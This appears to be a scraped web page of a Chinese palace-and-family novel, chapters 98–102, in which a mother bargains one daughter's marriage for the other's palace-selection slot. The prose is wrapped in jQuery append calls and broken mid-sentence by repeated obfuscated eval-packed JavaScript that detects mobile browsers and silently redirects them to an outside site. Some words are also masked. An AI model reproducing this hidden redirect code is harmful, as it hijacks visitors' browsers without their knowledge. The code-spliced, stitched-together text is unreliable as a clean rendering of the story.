$(''#content'').append('' 母亲日后会加倍让你过好日子的。” “母亲。”她说着,头歪在盛青岚头上,半点不合规矩,可是没有被推开。 古嬷嬷见夫人对大小姐的态度明显亲于二小姐,心中叹息。 终是养在身边的才更贴心,可怜二小姐为夫人做了那么多,终究是不一样。 得了下人通风报信的吴氏带了儿女匆匆来迎。 “姐姐,弟妹终于把您盼回来了。”她快走几步,无比热情地上前拉住盛氏的手,上上下下打量。 江南最新款的蜀锦料子,这身衣服少说都得二百两银子,更不要说头上那双足金的发钗,嵌的乌色宝石她都叫不出名。 这身行头少说得千两了吧? 倒是她狭隘了,家都被抄了,竟然还如此阔绰。 “姐姐瘦了,憔悴了。这次回来就长住吧,算是给弟妹做个伴。” 她身后的晚辈也齐齐见礼。 盛青岚只是轻轻颔首,再没有给见面礼的打算。 她轻笑了一声,“一时小住是亲情,长住可就是冤家了,何况我那还带着一家几口子人,在弟弟这里住可不成。” “瞧大姐说的,咋还能成冤家呢,侯府这么大,空院子多,别说你们大房那几口人,就是三房都搬来也住得下不是。” 盛青岚皮笑肉不笑道:“刚刚府门外被拒,我还以为弟妹不欢迎我,叫安伯已经去看房子了,带来的行李也都拉走了,这次过来谢过侯爷和夫人便带着蓉姐儿离开了,打扰了这么久已经说不过去了。” 她没给吴氏留脸面,直接下人面子。 从前她不会这样,遇人都只说三分话,但如今她不想受半气,没了身份,更要争一份脸面。 吴氏这会也后悔,咋也没想到这人一出来就能这般。 原还想拿捏一下,让她觉得承阳侯府是日后的倚靠,好提两家亲事呢。 如今她只能说好话,像从前那般奉承着。 “姐姐,您看这事闹的,我是不知您具体到的时间,才没出来接,哪能拒您入府。” “到底是谁,将那人给我揪出来发卖了去。” 盛青岚坐了一日马车,头晕体乏,不想坐在这里久撑。 她道:“弟妹不必如此,我今日来除了带蓉姐儿离开,其实还有一事相求。” 她说这话的时候,眼角余光撇了一眼盛家后辈当中的姑娘们,心下的打算更加笃定了。 第九十八章相互算计,达成共识 如今的承阳府就是一个破败的空架子,靠侯爷那点收入和敛来的钱财只够维系庞大开销,可是泽宇那边时不时就会闯出一次祸事,每一次都要用大量的银钱来填。 可是这些事,她都要瞒住侯爷不能让其知道,久而久之,吴氏这手里能用的银子越发捉襟见肘。 这三年庄上也没收入,日子难熬,不然她也不会脸都不要,千方百计想拿到外甥女的财产了。 “大姐真能说笑,你我一家人,有事你张口就是了,谈什么相求啊!” 她嘴上说着客气话,心中在盘算着谋取利益。 几人说话间到了正院,宾主落座,晚辈重新见礼。 每每这个时候,国公夫人就会让下人拿出所带的礼物打赏给众人。 结果都叩拜完了,盛氏只是轻轻应了一声,便没了下文。 侯府世子盛闳不耐烦地扯了一下衣袍站起身,脸色冷漠。 “姑母您坐着和母亲叙旧,外甥那边还有事情要忙,就不留下打扰了。” 盛青岚没有见到弟弟,本就失望至极,如今世子又是这副厌烦的嘴脸,她压下心底不快,笑着应着。 “世子身份贵重,自是有忙不完的应酬,似你父亲这般,忙得见不到人影,都为了这个家。” 盛闳不是读书那块料,学堂已经不去了,整日找酒肉朋友鬼混。 所以这话听到他耳朵里就是在挤兑他。 盛闳的秉性遗传他娘,无利不起早。 听着姑母讥讽,他笑了笑道:“这人啊各有天命,旦夕祸福都是老天给安排的,与其和天争,不如趁着安逸之时多享乐,姑母你说侄儿说的可对?” 吴惠岚也是冷眼看着大姑姐,谁人不知闳儿不喜读书,整日不务正业,还说什么忙不完的应酬。 侯爷不回来,也是她如今这身份不值得浪费时间,有自己作陪还不知足。 盛青岚被讥讽家道中落**男人,若是换做三天前,她必翻脸。 这会却是摆弄着手上的玉镯,那镯子通体翠绿,油润光亮,一看就是上等难寻的好玉种。 “这人若无远虑,必有近忧,人活着就该目光长远,不然遇到个坎,日子滑个坡,落到谷底都不知谁会帮扶一下,弟妹你说可是这个理?” 吴氏冷着脸,不爱听这些个道道,不就是当年国公府帮侯爷忙了吗,那凤南蓉还不是借助到她家。 两相比起来,窝藏**的恩情可大多了。 “闳哥儿,你去忙,女人之间的话你多听无益。” 盛青岚冷哼,不爱听,她还不爱说呢。 气氛一时间冷下来,吴氏心气不顺,也不想张口。 凤南蓉到底年轻面子浅,母亲与舅母这样针锋相对与她们没好受,母亲这是怎么了? 她立在一旁全身都不自在。 盛氏呷了一口茶,打破诡异气氛。 “弟妹,蓉姐儿借住这几日,是要好生谢弟妹的情,先前你以盛宝珠名义取走的五千两我便不要你还了,当你照顾南蓉的谢礼。” 吴氏脸上火辣辣的,那钱明明是凤南蓉自愿孝顺的,怎么成她借的了。 还没了谢礼! 盛氏又道:“感谢的话我就不与弟妹客套了,今日来其实还有另外一件事商谈。” 吴氏喘着粗气,想讥讽她几句,可是五千两到底不是一笔小数目,气堵在心口上不来下不去。 “你说。” “这说话间就要过元日了,三年一次选秀,侯府今年的名额应该是下来了,我想弟妹将这机会让给我家蓉姐儿。” 吴氏刚想骂凭什么,随即心下恍然,哦,与自己装腔作势了这许久,原来是笃定自己的女儿能中选啊。 她不傻,一人得道鸡犬升天的道理她还是懂的,家里若是真的出来一个妃嫔,还怕闳哥儿的仕途没有着落? 不如既然是商议,这利益自然要好好拿捏一下。 “姐姐还真是好算计,依着咱们蓉姐儿的才貌必能中选,不过光有容貌和才情也未必能得宠,这运气也占了大半,我家慧儿也到了选秀的年纪,她性情柔顺、恬静又有眼色,姐姐要去了名额,岂不是耽误了我慧儿的将来?” 盛青岚心中暗忖:这么一个小鼻子小眼,还妄想飞上枝头? “弟妹,你不应我也没关系,我可以求别人,相信有人愿意让出名额给我们蓉姐儿。” 她拂了拂裙摆上坐出的褶皱,慢慢起身。 “弟妹贵人事忙,我们就不多做叨扰了,初回石门府,我那边也有太多要张罗的事,是时候该离开了。” 盛青岚的从容与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242532|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉稳让吴氏有一点坐不住。 对方有求于她,不该是先表示诚意吗? 怎么自己才说了一句,这人就要走呢?难不成是京城那边还有门路可走? 不行,到嘴的肥羊可不能跑了。 她上前将人拉住,轻唤了一声,“姐姐,秀女名额是蓉姐儿的机会,可也是我家慧姐儿的机会,这样白白让出,我总要给慧姐儿一些补偿才是。” 二人谈话,半点没有顾忌晚辈的感受。 凤南蓉不想入宫选秀,皇上都快五十岁的人了,她不愿意。 盛慧儿也不愿意,她是侯府庶女,若有出头之日是想争一争的。 可惜,嫡母说话,她一个庶女是没资格插嘴的。 盛青岚笑得端庄,“弟妹这话说的,我怎么可能空口白牙要你的好处,你若愿意相让,条件你出就是。” 吴氏拉着她重新坐下,这一次她贴坐下来,轻声道:“不瞒大姐,我瞧上你的另外一个女儿了。” 盛青岚:“?” “闳哥儿的性子你也晓得,到现在也没定性,就是玩心太重了。我就想找个厉害的儿媳妇能让他收收心,你家南茵有胆量,有魄力,是个不服输的性子,若是让她嫁给闳儿,定能约束好自己的丈夫,你说呢?” 这还真让盛青岚意外,那个小女儿连她都不了解,竟然得了弟妹的另眼相待。 “这事我不能立即应承你,毕竟是女儿家一辈子的大事,我要问问南茵的想法。” 吴氏惦记那丰厚的陪嫁,忙道:“大姐,儿女亲事还不都是长辈做主,孩子们哪有意见反驳。” 她亲**拉着盛青岚的手,“姐姐,让南茵嫁过来你有什么不放心的,闳哥儿虽然顽劣了一些,可是成了家必然会收心,这亲上加亲,知根知底,对女儿家来说,不是再好不过的事情吗?” 她直接对下人吩咐,“去,现在就给凤夫人将那选秀的名额单拿来。” “弟妹这是做什么,刚还想给慧姐儿出人头地的机会,怎么就迫不及待了?” 她嘴上这样说,心下却是得意,吴氏无利不起早,她家道中落又如何,还不是被巴结奉承。 凤南蓉有些急了,“母亲。” 她不想入宫为妃啊,她过了年才十四岁,不想入宫受苦。 第九十九章古嬷嬷报信 盛氏却有自己的打算。 国公府虽被赦免为庶人,可女儿的才情与容貌注定不会被埋没,更何况太子侧妃与安王侧妃,还有靖王正妃都会从这一批秀女中挑选,这是一早就定下的事。 她女儿是凤命,就绝对不能错过这次机会。 盛氏将参选名额收下,笑容里多了几分真诚。 “那这事就口头订下了,等我那边住的地方也稳妥了,择了吉日,你便带人来提亲。” “好,就这么定了。” …… 凤南茵一早起来就右眼皮跳,算算日子,娘亲她们该是要回石门府了。 她心不在焉地吃过早饭,便提议要去庄上看看病人。 宫良看出她心情不好,他又何尝不替丫头担忧。 “他们的病基本上是营养不良所起,光吃药收效太慢,将刘婶送过来的那几节棒骨带上,再给他们带十斤肉过去,都补补。” “师伯。” 宫良不以为意道:“既然救了,就救个彻底,让他们安心养着,开春了若想留下,就在庄上帮我打理药田。” 多出十几张嘴,他还是能养得起的。 离开城里,外面的天地是广袤无垠,哪怕遍地都是荒芜,依旧能让人的身心得到放松。 凤南茵撇下心中烦忧,想借机散散心。 到了庄上,先被凤南茵救下的十二人都出来接她了。 周水儿跑在最前面,雀跃着喊着姐姐。 “大姐姐,我娘的病快好了,这多亏了你的药。” 看着身子无力,倚靠在门框前站着的女人,凤南茵道:“师伯让我给大伙带点肉,你们都补补身子,师伯让你们安心养着,开春了想留下,就在这里打理药田。” 周氏让凤南茵进屋喝点热水,看着送进来的米粮,她感激地跪在地上。 “小姐,您的救命之恩咱们无以为报,我这身子也好差不多了,就让水水跟在您身边,一直伺候您吧。” 凤南茵拉她起来,“婶子这是做什么,都是我师伯的恩情,快起来说话。” 周氏抬手抹着泪,“不瞒凤小姐,我老家已经没人了,我一个寡妇带着孩子,即便回去也无容身之地,留在这里我的力气小,还要白养着水水,我心里过意不去。若能留在您身边,一来报答恩情,二来我也信小姐为人,比跟着我有将来。” 周水水哭着扑进妇人怀里,母女二人相依为命的状态,令凤南茵羡慕。 她想到盛氏的那个怀抱,苦涩笑了笑。 昨天吴氏那一番闹腾后,师伯觉得保和堂不甚安全,连夜就将家中的金银都存进了钱庄,且都存到了她的名下。 师伯称,挑一个吉利的日子,请几位身份德高望重的人摆一桌酒席,正式收她为孙女。 师伯也在托刘婶给她物色使唤的下人,找到合适的便买下来,服侍她。 一是堵住悠悠众口,二是有人帮着照料衣食起居,她能心无旁骛地好好学医。 思到此,她擅自下了决定。 “水水还小,定然离不开你,既然你老家无人了,那就都随我回去吧!” 周氏喜出望外,“真的可以吗?小姐不嫌弃我没用,还一身的病吗?” “会洗衣、针线活就够了,别的活计也用不上你。” 她摸了摸水水发黄干枯的头发,“水水年纪小,就留在我身边做个伴,陪我说说话就成。” 周氏为自己和女儿寻了好出路,不知羡慕了多少人。 大家都凑过来说吉祥话,又替母女二人收拾东西。 凤南茵看着她们的衣物,道:“不用收拾了,回城后置办新的,日后跟了我,每月二两银子例钱,水水大了也有自己那份。” 这钱她自己出,师伯每个月都会给她二十两零花,对自己的丫鬟和嬷嬷,她不会吝啬。 看似简单的小事,可是在走投无路的母女眼里,凤小姐是给了她们活下去的出路。 周氏拉着女儿的手,再三谢恩。 她叮嘱女儿:“日后凤小姐是你唯一的主子,万事以小姐利益为先,永远不要忘记今日的恩情。” “恩。女儿记住了,会一辈子伺候好小姐的。” 凤南茵其实还有一点不习惯别人叫她小姐,但她知道,自己一定要将意识提升起来,将来若真的要和家人一起生活,她不能被人欺负了去。 回到保和堂刚好是晌午,刘婶在厨房做饭。 凤南茵和师伯打了招呼,又带着二人与刘婶认识。 刘婶将她拉到一旁,小声提醒,“丫头,保和堂后面那套院子租出去了,我一听是京城来的人,便找人仔细打听了一下,是你家人。” “凤家人?” 石门府的房舍都是背靠背临街而建,保和堂的北向大门正对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242533|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着第一大街,背面那套院子对着的就是僻静得多,住的人家多是当地乡绅富户。 她知道娘今日会来石门府,没想到这么快就租了宅院,还与保和堂毗邻。 刘婶艳羡的不行,“你今日不在家,不知那院的排场,东西一箱箱的往进搬,买了不少家什,你可是凤家的嫡女,可不能放弃这份家产。” 二人说话间,正堂那里传来说话声。 “宫大夫,老奴是凤家的管事嬷嬷,奉夫人命前来接二小姐回府。” 古嬷嬷态度恭敬有礼,对这位帮助过她们的人,还是心存感激。 宫良放下手中的书,点了点头,“听说你们在后面安顿下来了,也是该让凤丫头回去看看。” 凤南茵也想和娘亲商量一下,既然住的这样近,就不回去住了,而且她身边也有嬷嬷和丫鬟了,已经做到了避嫌。 “古嬷嬷,我现在随你回去。” 古嬷嬷见了她忙半蹲下身子,行了大礼。 “老奴见过二小姐。” 凤南茵知道她是娘最看重,也最忠心的奴才,很是尊重她。 “嬷嬷,你身体也不好,不必这般大礼。” 古嬷嬷坚持,“一直没有机会向二小姐说一声感谢,若不是二小姐前去探监,也给咱们奴才们带了袄子与吃食,老奴可能已经不在了。” 哪怕这份恩情是承了夫人的,二小姐依旧是她的恩人。 “不过是微薄之力,嬷嬷不必一直放在心上。” 她越是这样不承恩,古嬷嬷越是喜欢二小姐。 人心都是肉长的,她想到侯夫人的打算,她本不该多嘴,可二小姐对她有恩,她明知那承阳侯世子不是良人,哪忍心夫人就这样毁掉二小姐,只为了凤家铺路。 在她看来,即便大小姐入了宫,没了家世做陪衬,想出头又谈何容易。 “二小姐,您若是能走京城的门路,就为自己想想办法吧,侯夫人她想让你嫁给承阳侯世子,这婚事怕是不久就要定下来了。” 宫良愕然:“为何如此急切?难不成凤夫人有难言之隐?” 古嬷嬷知道自己这样做是背主,可这事也瞒不住,早晚大家都会清楚。 “是为了凤家,为了能从侯夫人手中拿到秀女名额,与侯夫人达成的交易。” 宫良怒不可遏:“混账!哪有这样做母亲,我找她说理去。” 第一百章姐妹再见,针锋相对 宫良要出门找凤夫人理论,同样是她的女儿,怎么可以如此区别对待。 “师伯,师伯你冷静一点。” “丫头,那承阳侯世子的劣迹整个石门府谁人不知,我是你师伯,哪能眼睁睁看你掉火坑,这事必须说清楚。” 凤南茵心口发疼,师伯这样疼她,可是娘呢? 她不知承阳侯世子人品不堪吗? “师伯,你这样找过去,会让嬷嬷难做的,她好心告知我,我不能陷她不义。” “傻孩子,到了这个时候,你怎么还为别人着想。” 凤南茵道:“我随嬷嬷回去一趟,顺便把银子还过去,师伯您就当先不知此事,反正定亲一事也不会立马就成,我们还有时间想应对的法子。” 宫良应是,“说得对,师伯乱了分寸,失了冷静了。” 凤南茵知道,不是师伯乱了方寸,而是他被权势压了半生,自己吃亏了一辈子,不忍她这样被亲人毁了。 凤南茵回了自己房中去取银钱,原本说好了,要全部还给娘亲的。 这一刻她鬼使神差地拿出大半,只余薄薄一层银票放在匣中,她想试探一下娘亲的反应。 “嬷嬷,我们走吧。” 古嬷嬷感激小姐维护她,还知道为自己保密,见她衣衫上沾了土,好心劝道。 “二小姐,要不然换一身衣裙吧。” 夫人最近性子不好琢磨,怕二小姐这一身的土过去会觉得礼数不周。 凤南茵知道,如今娘亲出来了,又要摆世家大族的规矩,古嬷嬷提醒她是好心。 可她既然不想留在娘亲身边了,就不想再委屈自己,换一次衣服,就要重穿一次里面的袄子,她怕冷。 凤南茵抬腿拍了拍浮土,“瞧,干净了,我们走吧。” 古嬷嬷只是觉得二小的衣裙寒酸,一会怕见到几个姐妹自己会难堪。 “二小姐,你也别怪夫人,她是您母亲,也是凤家主母,她也是逼不得已。” “恩。” 一个人若是真的被伤到心寒了,什么解释也不想听了,什么叫逼不得已,若真是被逼,为何要嫁的那人不是姐姐? 凤府租的宅院不大,二人绕了半条街就到了,凤家两个庶女正在规整物件。 凤南蓉坐在窗前晒太阳取暖,神色当中有着得意。 母亲告诉她,只要能入选,她就有把握让自己成为太子侧妃。 凤南蓉回想当时母亲的笃定,忍不住掩唇娇笑。 是啊,她可是命中自带凤格女子,那签文一直被祖母供奉在福寿院,多少世家妇人都晓得此事的。 太子身体一直不好,太子妃去年好不容易怀上孩子,坐胎五个月出了意外,从此再不能生育,自己如果能成为侧妃,将正妃之位取而代之就是早晚的事。 她心中揣着美梦,忽然眉毛一竖。 “凤南芊,我的衣服都是上好布料裁剪出来的,你就这样将我的箱笼放地上?受了潮长了蛀虫你来赔吗?” 凤南芊和凤南烟一个十二,一个十一,在牢里吃了不少苦,回京前身子还发着烧,如今身子绵软无力。 她们才擦拭完房中的灰渍,将买来家具都打理出来,大姐回府,又要她们干活。 凤南芊忍不住掉眼泪,“大姐,我实在没力气了,就剩下这一点活了,大姐能自己抬吗?” “你们说什么?” 凤南蓉在侯府受了多日的气,这些时日没有人将她放在眼里,如今回到母亲身边,这两个庶妹竟再也敢不敬她。 她抬手在凤南芊的后背上拍了一掌。 “让你帮着干一点活委屈了你不成,是不是也想找一户人家,给人做童养媳去?” 凤南芊和凤南烟都忍不住默默掉泪,从前母亲待她们不亲,但是该有的都不会短了,从来没干过活。 可是父亲一死,国公府才散,母亲就将两个小妹给卖了,留着她们做了整日的差事,这是当她们做丫鬟对待。 凤南芊看着手指磨出的水泡,止住哭声,叫四妹帮忙抬箱笼到了炕角。 她头垂下来,眼泪啪嗒啪嗒地往下掉, 凤南蓉得意,“这不是还有力气么,非要等我发了火才干活,也不瞧瞧自己的出身,还想事事与我攀比。” “去,再把幔帐挂上。” 她一转身,看到进来的凤南茵,神色有一瞬间尴尬。 莫名的,她有一点惧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242534|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕这个胞妹,总觉得她有一丝邪性,气运上总是能压自己一头。 不过那又怎样,还不是被自己算计要嫁给表哥为她铺路。 等到舅母知道,凤南茵嫁过去后,根本没有丰厚的陪嫁,只会加倍的**她。 这就是欺负她,处处与她作对的下场。 “二妹,姐姐要恭喜你了。” 凤南茵装作什么都不知道,笑笑,“我也恭喜姐姐,从国公府小姐变成了庶民,如今都会欺负自己庶妹了。” “你。” 现在还和自己伶牙俐齿,一会有的让你哭。 “母亲在她的房间等着呢,快过去吧。”她说着,高傲地扬着下巴。 现在是庶民又怎么样,她天生凤命,将来成了太子妃,所有人匍匐在脚下,她才是笑到最后的人。 盛青岚听到动静,柔声唤着。 “南茵回来了,快到母亲这里来。” 凤南茵再见到娘亲时,她已经恢复成从前雍容华贵的模样,若不是见过她落魄,竟是难看出现在的娘和在国公府时有何区别。 “女儿给母亲请安。” 盛青岚点头,“好孩子,这些时日亏得你了,把你姐姐安排的很好,过来瞧瞧,桌上这些衣衫和首饰都是娘让安伯给你采买回来的。” 她看了一眼女儿身上的粗布衣衫,皱了皱眉。 “再怎么说你也是我盛青岚的女儿,日后这种上不得台面的衣服就不要穿了。” 凤南茵看着桌上摆放的两身绸缎衣裙,一身桃花艳粉色,一身葱绿。 都是她最讨厌的颜色,更不要提她肤色偏暗沉,还有一点风吹出来的春红,这种料子穿在她身上只会让人觉得不伦不类。 至于匣子里的首饰,她也没抱什么期待。 “平日我要在保和堂帮忙,穿不得这种华丽又娇贵的衣衫,母亲还是留给大姐吧。” “你说什么傻话呢,母亲如今回来了,哪里还能让你在外面抛头露面,你如今是大姑娘了,外面传的流言蜚语我也都听说了,万万不能毁了你的名声,日后保和堂还是不要去了。” 凤南茵惊愕地瞪大眼睛,“你在京城时,可不是这样答应女儿的。” 第一百零一章凤夫人的如意算盘被掀翻了 盛青岚亲切地拉住她的手,将衣服拿到女儿面前比量。 “我的女儿,就该养在深闺,受最好的礼教,穿最名贵的衣裙,瞧瞧这料子衬你多好看。” 凤南茵躲闪开,带着质疑。 “娘,我不会听你话留在这后宅的,学医是我的理想,从前你也是支持我的。” 盛青岚被女儿忤逆,脸上和蔼的笑不见。 “此一时,彼一时,我才回石门府就听外面传言,你那位师伯对你居心叵测,这种人不能再与他走得近,更何况……” 更何况将她许给了一个纨绔是吗? 凤南茵退后半步,从她身前离开,一双杏核眼里皆是失望。 “母亲,那些谣言都是舅母让人传出去的,你不替女儿辩解,还要同他们一起诽谤我和师伯吗?” “混账,你这是什么话。” 盛青岚有些恼了,这么倔犟的脾气,后面的话叫她怎么说下去。 凤南蓉也道:“你这是什么态度,有你这样和母亲说话的吗?” “你闭嘴,没有我你早就被抓了,过河拆桥说的就是你这种没良心的人。” 凤南茵将心中不满全都发泄在凤南蓉身上,恨其没有良心,屡次陷害自己。 “凤南茵,你就是这样做人子女,做人妹妹的吗?你一个姑娘家,竟然和最亲的**呼小叫。” 窗户纸还没捅破,凤南茵不想古嬷嬷一番好心,因自己惹了祸事,强忍着没有辩驳。 盛青岚看出来了,这个二女儿极难驯服,她道:“是,这些年我愧对于你,让你在外受了苦,可是在危机时刻,我是不是给你也留了安身立命的钱,若此生我出不来了,你拿了那些银钱能过得很好。怎么我对你的好你误解是束缚,难不成我是要害你吗?” 凤南茵确实一身反骨,不提这笔钱她可能还感恩,提到这笔钱就想到凤南蓉的算计。 她把匣子拿出来,放到桌上。 “娘,当初你拿了祖母的体己匆忙交给我,从逃离出京一直到送凤南蓉到侯府,我只动了里面二百两银票,后来去京城送棉衣和吃食,打点狱卒用了五百两。剩下的六万四千三百两,六万我给了魏公子,由他交给了靖王。” 她想着母亲既然想将她卖了,那她说一些谎话又如何。 既然利益关系最持久,那就不谈亲情。 “在马车上我与母亲说过,凤家人能出来是靖王相助,但我没全说实情,怕母亲自责。靖王相帮,是女儿舍了本该是我享用一生的银子救全府人出来的。” 她撒谎不眨眼睛,也相信母亲不敢到魏锦和靖王面前对峙。 盛氏暗忖,不是说救命的恩情吗? 她就说,没有银子,怎么可能办成事。 凤南茵装出委屈,又道:“我受凤家的恩情,不过是半个月的收留,我救凤南蓉时已经还了。母亲赠我的银子,我用在了救你们的身上,如今还剩下四千三百两,我一分不拿,全部还给母亲。” “日后,我希望你不要干涉我的自由,反正外面无人晓得凤家还有一次女,你大可以像从前一样不认我。” 盛青岚万万没想到,她只是要南茵留在府中听从她的安排,还没说订亲一事,她就这么大的反应。 她捂着心口处,气得脸色惨白。 “你,你竟然这样想?” “就因为我限制了你的选择,你想和我断了母女关系?” 凤南茵沉默,心中虽然难过,理智告诉她,是的,她想断了这份从来没有得到过的亲情。 凤南蓉更关注的是银子。 她大声质疑,“你说是你花了钱,靖王才救出我们凤家人,谁能给你作证?万一是你昧下六万两哄骗娘亲,你就天打雷劈遭报应!” 母亲说了,这笔银钱是要给她入宫铺路的,如今只剩下四千两,那怎么行。 凤南茵心中冷笑:遭受报应吗?若是嫁进侯府才是报应开始吧。 “你不信我可以去问靖王啊,银子有去路,有迹可寻,我没必要也没那个胆子拿靖王撒谎。” 她又提醒了一句,“对了,这些话我们关起门来说,若是你们走露了风声,让外面人知道是靖王在暗中相助,靖王倒霉前,一定会先派人将所有人都杀了。” 凤南蓉有一种被人掐住喉咙窒息的感觉,又说可以找靖王对峙,又不准让人晓得此事与靖王有关,是黑是白全让她一个人说了。 “母亲,你看二妹,离开你的这些日子,她就是这样欺负我的,现在为了不听从管教,还向您撒谎,母亲您不能这样放纵她才是。” “凤南蓉,我现在真后悔当初那样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242535|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮你。” “南茵,你在说什么,什么帮不帮,她是你姐姐。” 盛青岚失望,从这个二女儿一进来,就句句与自己对着来,现在说出帮这个字,就是没将她们视为亲人。 “你这性子确实要好好改改,难怪你舅母说你太刚硬,不知服软将来是会吃亏的。” 到了这个时候,凤南茵心中最后那一点幻想也破灭了,也许凤夫人是一个好母亲,可她的好从未给过自己。 在国公府时的和善,怕也是利用她。 若是真的在乎她,她爱她,自己这个不被外人所知的小女儿,根本不用卷入抄家的是非中,她不需要逃亡,不需要受苦,完全可以过平安喜乐的日子。 她对自己的好,全是假的。 “在你眼里,凤夫人觉得全是我不对,既然你这样看不上我,不如当我从来没有出现过,十三年前你抛弃了我一次,今天就再抛弃我一次,我还银子前就做了这个打算。” 盛青岚有一种握在手中的东西失控的感觉。 她在乎的权势、富足、安乐,在二女儿眼睛一文不值。 原本她觉得将二女儿嫁给侄儿还有一点不舍,现在倒是无所谓了,她只想让这个不听话的女人服从自己。 硬的不行,就来软的,等她把亲事定下来,这个头疼的女儿就丢给弟妹去操心吧。 于是她改了方式,忽然就哭出声来。 “你这话真是在挖我的心啊,你明知十三年前,一切皆是你祖母所为,我为了找回你,跪在雪地里落了病,从此再没有生育过,如今还拿这话来挖我的心。” 她不停地抹泪,“罢了,罢了,你与南蓉不同,我以为对你像对南蓉一样,养在身边,学习四艺是为你好,可你却觉得是在害你,那便由了你去,日后这个家,你想回就回,不想回就在保和堂住着。” 凤南茵:“……” 这就成了?难道她刚刚的话真的说过份了? 盛氏又道:“不过,你住在外面,我总归是不放心,今晚叫古嬷嬷随你过去,明日我买了丫鬟婆子留在你身边,如事我才能安心。” “去吧,回你的保和堂去吧。” 凤南茵蠕动了一下嘴唇,最后转身走了。 凤南蓉气得尖叫,“母亲,你就这样纵容她!” 第一百零二章宫良心疼孙女 凤夫人心里堵着一口气,失了国公夫人身份,当真是说话都没人听了。 如今连自己的女儿都这样忤逆她,她这一家主母当的还有什么意义。 “由不得她,先让她高兴几日,恢复昔日凤府荣光的事情,谁都阻拦不得。” 她今日还有一件事最生气,那就是她归宁这样大的事,她的好弟弟竟然没露面,真是没有良心。 “古嬷嬷,让安伯去衙门请侯爷,今日务必让人来见我。” 古嬷嬷想劝她两句,来日方长莫要急于一时,小姐们还都小。 可是看着夫人从前一向温婉的面容如今显露出的恼怒之色,知道劝也无用,夫人这些年当家已经极少听人劝了说了。 “老奴这就去传话。” 凤夫人看着长女,见她神色当中有着担忧,抬手摸了摸她光嫩的脸颊。 “从今日起,凡事都不要管了,将四艺都练起来,我会让人再给你置办些养肤的香料,这些时日苦了你,小脸都不光嫩了。” 凤南蓉一听自己容貌有损,当下也顾不得凤南茵的倔犟,母亲的退让了,忙折回屋子去照镜子。 这边凤南茵回了保和堂,便呆呆地坐在药柜前。 今天的争辩看似她赢了,可这些不过是凤夫人想一时稳住她。这事怕是根本没完,而她是凤夫人的女儿,婚姻大事谁也跃不过她去。 到了这会,她不想再叫那声娘了,感觉亵渎她心中对娘这个词的濡慕。 宫良来到她近前,心疼丫头。 “回来就看你坐在这里,那事她亲口承认了?” 凤南茵摇头,“还没来得及提,我们就吵了起来,我没控制住脾气。” 宫良找了一个小兀子坐下,爱怜地抚摸丫头的发顶。 “我们凤丫头性子虽然直率了些,可不是冲动的人,一定是她们惹你伤心了,既然你委曲求全也改变不了结果,还不如骂出来,吐一时之快呢。” 凤南茵吃惊地微张了小嘴,“师伯,你怎么还怂恿我骂人?长辈不都该教育晚辈要守礼,乖顺,不要忘恩负义吗?” 宫良哈哈大笑,“师伯虽然也懂忍一时之气**,可这忍也要分事,对人。今天你若忍了,怕是到出嫁都不能再回保和堂了,这人不能太好脾气,该为自己争取时,还是要争取,人活着不就是为一口气。” 凤南茵刚刚都不晓得,自己竟然流泪了,这会把眼泪擦了擦。 “师伯说得对,该争取还是要争取,只是眼下我不知道怎么办,她是长辈,真的与表哥订了婚,我除非死,否则改变不了结果。” 宫良:“先去吃饭,今天家里添人进口,你这样垂头丧气可不好,吃完饭好好睡一觉,说不定醒来厄运就全都退散了。” 宫良把人赶走,自己写了一封书信。 南茵是个好孩子,就这样眼睁睁看着她亲娘把她推火坑,不如让他**。 他豁出打破誓言,老命不要,想求一求魏锦帮忙,只要帮丫头解决了这件事,他就开个方子,把那小子的病彻底治好。 寥寥数字,宫良写完折叠好,叫了门前一个小乞丐,给了一串铜钱,让他替自己跑个腿,送给魏锦的眼线。 他知道,这事丫头不好自己去求,难不成求外人对付自己娘亲? 他就不一样了,什么凤夫人,侯夫人,敢害他的孙女儿都不成。 他站在门前,叹了一口气。 